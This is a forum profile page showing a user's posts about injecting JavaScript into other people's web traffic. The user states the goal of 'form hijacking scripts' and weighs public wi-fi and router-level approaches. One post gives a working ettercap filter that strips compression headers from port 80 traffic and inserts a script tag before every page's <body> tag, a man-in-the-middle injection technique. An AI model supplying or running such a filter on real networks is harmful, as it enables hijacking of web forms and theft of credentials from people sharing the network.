Jump to content

cosbykid

Active Members
 View Profile  See their activity

  • Posts

    3

  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

cosbykid's Achievements

Newbie

Newbie (1/14)

  1. cosbykid
    okay, I believe I figured out how to do this with an ettercap filter # a very simple filter that will add an arbitrary script to all html documents right before the beginning <body> tag if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Nothing!"); } } if (ip.proto == TCP && tcp.src == 80) { replace("<body", "<script src='script_source.js></script><body"); msg("Script injected\n"); } essentially, this should go in and add the script (specified by script_source.js right before the beginning body tag for all the traffic that matches the parameters specified (TCP traffic on port 80). The "Accept-Encoding", "Accept-Nothing!" replace statement was something I found on the irongeek article about ettercap filters which supposedly stops content-compression on whatever site has "Accept-Encoding" in their header. The reason it's "Accept-Nothing!" instead of some other arbitrary expression is because for some reason it is necessary for the replaced statement to be the same length as the original statement being replaced.
  2. cosbykid
    Does ettercap have vectors for injecting javascript? If so, how does one use them?
  3. cosbykid
    Is there some way to use privoxy or some other piece of local proxying software to add content to webpages, specifically javascript? I realize that there are addons for browsers such as greasemonkey and other user-script type things, but I was looking for a browser-independent, possibly router level solution to adding scripts or content to webpages. I was thinking if they could do this sort of thing at public wi-fi hotspots (adding little bars or advertisements to the top of pages) a similar concept would be possible for home users, or technology enthusiasts (well, not ads, but form hijacking scripts). If anyone has any idea if this is possible, or if they have done it before, it would be useful they could assist me in this endeavor. Sincerely, cosbykid
  4. cosbykid

    I follow @ZuneSupport because they got my back (and because they are giving away a Zune Pass..

×
×
  • Create New...